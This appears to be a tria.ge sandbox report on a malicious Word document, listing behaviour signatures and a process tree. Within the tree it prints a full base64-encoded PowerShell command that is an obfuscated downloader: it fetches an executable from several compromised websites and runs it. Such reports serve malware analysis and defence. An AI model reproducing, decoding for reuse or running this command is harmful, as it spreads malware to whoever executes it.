Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

6

task1

 

6

task2

 

5

Analysis

  • max time kernel
    60s
  • max time network
    11651379494s
  • resource
    win7

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_cdf406976d2e6c1e011078a5991ec178.suspected

  • Sample

    190926-hcfb773msa

  • SHA256

    21b2b7e92c8f7e405062af2ecca54753fb6fe4f93000d262cd1bae4f89c81310

Score
N/A

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 5 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 3 IoCs
  • Modifies registry class 1 TTPs 280 IoCs
    persistence
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cdf406976d2e6c1e011078a5991ec178.suspected.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:2044
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAEEAWgBjAEMAWgBCAD0AKAAnAG0AJwArACcAdwAxAFUAQQBDACcAKQA7ACQAdABBAEEARwBBAEMAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAG8AUQB3AGMAQQBEAD0AKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcAJwArACcALgBiACcAKwAnAGkAbABnACcAKwAnAGkAZQBnAGkAdABpACcAKwAnAG0AbwBuAGwAaQBuAGUALgBjAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAvAG0AWABXAHAAJwArACcALwBAAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8ALwB3AHcAJwArACcAdwAuAHkAJwArACcAYQBuACcAKwAnAGoAaQBhAG8AJwArACcAegBoAGEAJwArACcAbgAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AaQBuAGMAbAB1ACcAKwAnAGQAZQBzACcAKwAnAC8AdQBnADcALwBAAGgAdAB0AHAAOgAvAC8AYgBhAHIAYQBiAG8AbwBzAGUAbgBpAG8AcgBoAGkAZwBoAC4AYwBvAG0AJwArACcALwBFAG4ALwBKAEgAUwAnACsAJwAvAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3AHcAdwAuAG0AYQBqAG8AcgBpAHMAdABhAG4AYgB1AGwALgAnACsAJwBjAG8AbQAvAGMAJwArACcAZwBpACcAKwAnAC0AYgBpAG4ALwAxACcAKwAnAE8AJwArACcARgAvAEAAaAB0AHQAcAA6AC8AJwArACcALwBiAGwAbwAnACsAJwBvAGQAeQBiAGkAdABzAC4AYwBvACcAKwAnAG0ALwBlACcAKwAnAGQAdwBpAG4AagBlAGYAZgBlAHIAcwBvAG4ALgAnACsAJwBjAG8AbQAvACcAKwAnAGoAeAAnACsAJwA3AC8AJwApAC4AKAAnAFMAcABsACcAKwAnAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAGMAbwBaAEEAQQBBAHcAQQA9ACgAJwBhAFoAJwArACcAWgBVACcAKwAnAEMAQQBBAEEAJwApADsAJAB6AEIAQQBCAEQAVQA0AEEAIAA9ACAAKAAnADgAJwArACcANAA5ACcAKQA7ACQAWABEAEEAQQBBAEEAPQAoACcASABjACcAKwAnAG8AQQBVAEEAQQBRACcAKQA7ACQATwBVAEIAQQA0AFUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHoAQgBBAEIARABVADQAQQArACgAJwAuAGUAJwArACcAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGQAWABjAEEAeABBAFEAIABpAG4AIAAkAG8AUQB3AGMAQQBEACkAewB0AHIAeQB7ACQAdABBAEEARwBBAEMALgAoACcARABvAHcAJwArACcAbgAnACsAJwBsAG8AYQAnACsAJwBkAEYAaQBsAGUAJwApAC4ASQBuAHYAbwBrAGUAKAAkAGQAWABjAEEAeABBAFEALAAgACQATwBVAEIAQQA0AFUAKQA7ACQARABBAEcAVQBVAEEAVQA9ACgAJwBPACcAKwAnAFEAQwBCAGsAawBHACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAFUAQgBBADQAVQApAC4AIgBMAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewAmACgAJwBJACcAKwAnAG4AJwArACcAdgBvACcAKwAnAGsAZQAtAEkAdABlAG0AJwApACAAJABPAFUAQgBBADQAVQA7ACQAUgBBAEIAYwBVADQARABBAD0AKAAnAHAAJwArACcAQQB4AEMAWgAnACsAJwBVACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABoAEEAVQBEAEQAQQA9ACgAJwBJAFgAawAnACsAJwBRADEAJwArACcAeAAnACkAOwA=
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Modifies system certificate store
    PID:1960
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-368597092-2099895652-12386893201968384271-1423226580702407947-19165279131685450924"
    1⤵
      PID:1972
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1992

    Network

    MITRE ATT&CK Enterprise v16

    MITRE ATT&CK Additional techniques

    • T1130

    Replay Monitor

    Loading Replay Monitor...

    Downloads